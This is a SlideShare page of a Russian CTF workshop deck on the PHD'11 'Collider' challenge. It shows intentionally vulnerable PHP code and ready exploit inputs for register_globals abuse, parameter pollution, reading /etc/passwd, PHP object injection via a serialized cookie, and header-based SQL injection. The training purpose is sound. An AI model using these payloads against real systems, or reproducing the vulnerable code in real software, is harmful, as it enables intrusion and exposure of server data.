SlideShare une entreprise Scribd logo
1  sur  13
Collider!   challenge




            (мастер-класс)
Сервис Collider

     Сервис хак-квеста PHD’11 - Collider.


     Как проходить?

      • crypt.php + (Ctrl+F “FLAGHERE”) 

     Краткое содержание ситкома:

      • Register Globals

      • HTTP Parameter Pollution

      • Local File Disclosure

      • Сериализация

      • SQL Injection
Register Globals (#1)

     Конфигурационный файл php.ini


     register_globals = On


     Изменение типа переменных скрипта


    …
    $u1['OTP']='OTP_'.$f3;/*
    …
    */ if(is_array($n3)){foreach($n3 as $s1=>$l2){$x0[$s1]=$l2;}}if(isset($_REQUEST['pswd'])){
    $j3=trim($_REQUEST['pswd']);if($j3==$u1['OTP']){print"FLAGHERE";}else{print"<script>alert('Failed')</script>";}}
    Function
    ….




     Предположения?
Register Globals (#1)

     http://localhost/cld/crypt.php?u1=O&pswd=O




     if($j3==$u1['OTP']){print"FLAGHERE";}
HTTP Parameter Pollution (#2)



   Ищем “FLAGHERE” – видим mysql_count()



   function collider_debug(){if(!is_numeric($_REQUEST['debug'])&&is_numeric($_REQUEST['phpver']))
   ….
   if(is_numeric($_GET['debug'])&&isset($_GET['phpver'])){if($_GET['phpver']===phpversion())
   ….
   print mysql_count("collider","debug");




   Предложения?


 http://raz0r.name/articles/http-parameter-pollution/
HTTP Parameter Pollution (#2)
Local File Disclosure (#3)

        Ищем “FLAGHERE” – больше не работает 



 …
 function folowe($z1){$z1=str_replace(".","",$z1);if(file_exists($z1)){readfile($z1);}}
 …
 if(get_plain()){if(isset($_GET['op'])&&!empty($_GET['op'])){$w1=htmlspecialchars($_GET['op']);folowe($w1);
 …
 function get_plain(){if((isset($_REQUEST['permission']))&&($_REQUEST['permission']==$y1)){return 1;}




        Предложения?
Local File Disclosure (#3)

     http://localhost/cld/?permission=&op=/etc/passwd
Serialialise (#4)

      $sessid = unserialize($_COOKIE['guest']);


          class Collider_LO {
          …
           function __destruct()
          …
          $var = $this->shutdown[0];
          $arg = $this->shutdown[1];
                       $var($arg);
          ...




     Предложения?


  https://rdot.org/forum/showthread.php?t=950 by BlackFan
Serialialise (#4)

     O:11:"Collider_LO":2:{s:3:"res";N;s:8:"collider";a:2:
     {i:0;s:7:"phpinfo";i:1;i:-1;}}




                                                      
SQL Injection (#5)

     SQL injection? Опять?




     … $_REQUEST['notbanned']) {
         $phd = $_SERVER['HTTP_PHD'];
      …
         $result=mysql_query("select id,phd,id as i,phd as p from status where id =$phd")
      …




     Предложения? 
SQL Injection (#5)




                      
Спасибо за внимание!

Вопросы?

ygoltsev@ptsecurity.ru
@ygoltsev

Contenu connexe

Tendances

Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование Linux
Anthony Shoumikhin
 
Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование Linux
Anthony Shoumikhin
 
I tmozg js_school
I tmozg js_schoolI tmozg js_school
I tmozg js_school
ITmozg
 
Что нового в PHP-5.3
Что нового в PHP-5.3 Что нового в PHP-5.3
Что нового в PHP-5.3
phpclub
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2
Technopark
 

Tendances (20)

Perl: Symbol table
Perl: Symbol tablePerl: Symbol table
Perl: Symbol table
 
Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование Linux
 
Perl 5.10 и 5.12
Perl 5.10 и 5.12Perl 5.10 и 5.12
Perl 5.10 и 5.12
 
Cобачники против кинофобов
Cобачники против кинофобовCобачники против кинофобов
Cобачники против кинофобов
 
Нетривиальная обработка ошибок
Нетривиальная обработка ошибокНетривиальная обработка ошибок
Нетривиальная обработка ошибок
 
Selenium: приемы работы
Selenium: приемы работыSelenium: приемы работы
Selenium: приемы работы
 
Программирование Linux
Программирование LinuxПрограммирование Linux
Программирование Linux
 
Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...
Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...
Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...
 
Григорий Демченко, Асинхронность и неблокирующая синхронизация
Григорий Демченко, Асинхронность и неблокирующая синхронизацияГригорий Демченко, Асинхронность и неблокирующая синхронизация
Григорий Демченко, Асинхронность и неблокирующая синхронизация
 
I tmozg js_school
I tmozg js_schoolI tmozg js_school
I tmozg js_school
 
Почему Mojolicious?
Почему Mojolicious?Почему Mojolicious?
Почему Mojolicious?
 
Funny JS #1
Funny JS #1Funny JS #1
Funny JS #1
 
Что нового в PHP-5.3
Что нового в PHP-5.3 Что нового в PHP-5.3
Что нового в PHP-5.3
 
Написание DSL в Perl
Написание DSL в PerlНаписание DSL в Perl
Написание DSL в Perl
 
Фитнес для вашего кода: как держать его в форме
Фитнес для вашего кода: как держать его в формеФитнес для вашего кода: как держать его в форме
Фитнес для вашего кода: как держать его в форме
 
Anton Shabouta "Implementing async binary clients in pure PHP"
Anton Shabouta "Implementing async binary clients in pure PHP" Anton Shabouta "Implementing async binary clients in pure PHP"
Anton Shabouta "Implementing async binary clients in pure PHP"
 
Web осень 2013 лекция 2
Web осень 2013 лекция 2Web осень 2013 лекция 2
Web осень 2013 лекция 2
 
Павел Беликов, Как избежать ошибок, используя современный C++
Павел Беликов, Как избежать ошибок, используя современный C++Павел Беликов, Как избежать ошибок, используя современный C++
Павел Беликов, Как избежать ошибок, используя современный C++
 
Аскетичная разработка браузера
Аскетичная разработка браузераАскетичная разработка браузера
Аскетичная разработка браузера
 
Денис Зайцев "Как управлять облаками"
Денис Зайцев "Как управлять облаками"Денис Зайцев "Как управлять облаками"
Денис Зайцев "Как управлять облаками"
 

Similaire à Юрий Гольцев - Сервис Collider

PHP Tricks
PHP TricksPHP Tricks
PHP Tricks
BlackFan
 
Использование хранимых процедур в MySQL (Константин Осипов)
Использование хранимых процедур в MySQL (Константин Осипов)Использование хранимых процедур в MySQL (Константин Осипов)
Использование хранимых процедур в MySQL (Константин Осипов)
Ontico
 
Надежда Серкова -- Автоматическая генерация Perl скриптов для тестирования си...
Надежда Серкова -- Автоматическая генерация Perl скриптов для тестирования си...Надежда Серкова -- Автоматическая генерация Perl скриптов для тестирования си...
Надежда Серкова -- Автоматическая генерация Perl скриптов для тестирования си...
sqadays8
 
Easy authcache 2 кэширование для pro. Родионов Игорь
Easy authcache 2   кэширование для pro. Родионов ИгорьEasy authcache 2   кэширование для pro. Родионов Игорь
Easy authcache 2 кэширование для pro. Родионов Игорь
PVasili
 
Making Scalable JavaScript Application
Making Scalable JavaScript ApplicationMaking Scalable JavaScript Application
Making Scalable JavaScript Application
Mikhail Davydov
 

Similaire à Юрий Гольцев - Сервис Collider (20)

Perl – жив?!
Perl – жив?!Perl – жив?!
Perl – жив?!
 
PHP Tricks
PHP TricksPHP Tricks
PHP Tricks
 
176023
176023176023
176023
 
Суперсилы Chrome developer tools
Суперсилы Chrome developer toolsСуперсилы Chrome developer tools
Суперсилы Chrome developer tools
 
UWDC 2013, Yii2
UWDC 2013, Yii2UWDC 2013, Yii2
UWDC 2013, Yii2
 
Алексей Плеханов: 25 причин попробовать Laravel
Алексей Плеханов: 25 причин попробовать LaravelАлексей Плеханов: 25 причин попробовать Laravel
Алексей Плеханов: 25 причин попробовать Laravel
 
DevPoint 2016: Признаки плохого кода и как с ним бороться в PHP проектах - Па...
DevPoint 2016: Признаки плохого кода и как с ним бороться в PHP проектах - Па...DevPoint 2016: Признаки плохого кода и как с ним бороться в PHP проектах - Па...
DevPoint 2016: Признаки плохого кода и как с ним бороться в PHP проектах - Па...
 
Clojure – есть ли жизнь после Java
Clojure – есть ли жизнь после JavaClojure – есть ли жизнь после Java
Clojure – есть ли жизнь после Java
 
Использование хранимых процедур в MySQL (Константин Осипов)
Использование хранимых процедур в MySQL (Константин Осипов)Использование хранимых процедур в MySQL (Константин Осипов)
Использование хранимых процедур в MySQL (Константин Осипов)
 
DSLs в Perl
DSLs в PerlDSLs в Perl
DSLs в Perl
 
Очередной скучный доклад про логгирование
Очередной скучный доклад про логгированиеОчередной скучный доклад про логгирование
Очередной скучный доклад про логгирование
 
Надежда Серкова -- Автоматическая генерация Perl скриптов для тестирования си...
Надежда Серкова -- Автоматическая генерация Perl скриптов для тестирования си...Надежда Серкова -- Автоматическая генерация Perl скриптов для тестирования си...
Надежда Серкова -- Автоматическая генерация Perl скриптов для тестирования си...
 
Миша Рудрастых: Введение в HTTP API WordPress
Миша Рудрастых: Введение в HTTP API WordPressМиша Рудрастых: Введение в HTTP API WordPress
Миша Рудрастых: Введение в HTTP API WordPress
 
Mojolicious
MojoliciousMojolicious
Mojolicious
 
«Статический анализ: гордость и предубеждения», Алексей Кузьменко, аналитик И...
«Статический анализ: гордость и предубеждения», Алексей Кузьменко, аналитик И...«Статический анализ: гордость и предубеждения», Алексей Кузьменко, аналитик И...
«Статический анализ: гордость и предубеждения», Алексей Кузьменко, аналитик И...
 
Приручаем linux-консоль
Приручаем linux-консольПриручаем linux-консоль
Приручаем linux-консоль
 
Разработка на Perl под Raspberry PI
Разработка на Perl под Raspberry PIРазработка на Perl под Raspberry PI
Разработка на Perl под Raspberry PI
 
Bytecode
BytecodeBytecode
Bytecode
 
Easy authcache 2 кэширование для pro. Родионов Игорь
Easy authcache 2   кэширование для pro. Родионов ИгорьEasy authcache 2   кэширование для pro. Родионов Игорь
Easy authcache 2 кэширование для pro. Родионов Игорь
 
Making Scalable JavaScript Application
Making Scalable JavaScript ApplicationMaking Scalable JavaScript Application
Making Scalable JavaScript Application
 

Plus de Positive Hack Days

Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
Positive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
Positive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
Positive Hack Days
 

Plus de Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Юрий Гольцев - Сервис Collider

  • 1. Collider! challenge (мастер-класс)
  • 2. Сервис Collider Сервис хак-квеста PHD’11 - Collider. Как проходить? • crypt.php + (Ctrl+F “FLAGHERE”)  Краткое содержание ситкома: • Register Globals • HTTP Parameter Pollution • Local File Disclosure • Сериализация • SQL Injection
  • 3. Register Globals (#1) Конфигурационный файл php.ini register_globals = On Изменение типа переменных скрипта … $u1['OTP']='OTP_'.$f3;/* … */ if(is_array($n3)){foreach($n3 as $s1=>$l2){$x0[$s1]=$l2;}}if(isset($_REQUEST['pswd'])){ $j3=trim($_REQUEST['pswd']);if($j3==$u1['OTP']){print"FLAGHERE";}else{print"<script>alert('Failed')</script>";}} Function …. Предположения?
  • 4. Register Globals (#1) http://localhost/cld/crypt.php?u1=O&pswd=O if($j3==$u1['OTP']){print"FLAGHERE";}
  • 5. HTTP Parameter Pollution (#2) Ищем “FLAGHERE” – видим mysql_count() function collider_debug(){if(!is_numeric($_REQUEST['debug'])&&is_numeric($_REQUEST['phpver'])) …. if(is_numeric($_GET['debug'])&&isset($_GET['phpver'])){if($_GET['phpver']===phpversion()) …. print mysql_count("collider","debug"); Предложения? http://raz0r.name/articles/http-parameter-pollution/
  • 7. Local File Disclosure (#3) Ищем “FLAGHERE” – больше не работает  … function folowe($z1){$z1=str_replace(".","",$z1);if(file_exists($z1)){readfile($z1);}} … if(get_plain()){if(isset($_GET['op'])&&!empty($_GET['op'])){$w1=htmlspecialchars($_GET['op']);folowe($w1); … function get_plain(){if((isset($_REQUEST['permission']))&&($_REQUEST['permission']==$y1)){return 1;} Предложения?
  • 8. Local File Disclosure (#3) http://localhost/cld/?permission=&op=/etc/passwd
  • 9. Serialialise (#4) $sessid = unserialize($_COOKIE['guest']); class Collider_LO { … function __destruct() … $var = $this->shutdown[0]; $arg = $this->shutdown[1]; $var($arg); ... Предложения? https://rdot.org/forum/showthread.php?t=950 by BlackFan
  • 10. Serialialise (#4) O:11:"Collider_LO":2:{s:3:"res";N;s:8:"collider";a:2: {i:0;s:7:"phpinfo";i:1;i:-1;}}  
  • 11. SQL Injection (#5) SQL injection? Опять? … $_REQUEST['notbanned']) { $phd = $_SERVER['HTTP_PHD']; … $result=mysql_query("select id,phd,id as i,phd as p from status where id =$phd") … Предложения? 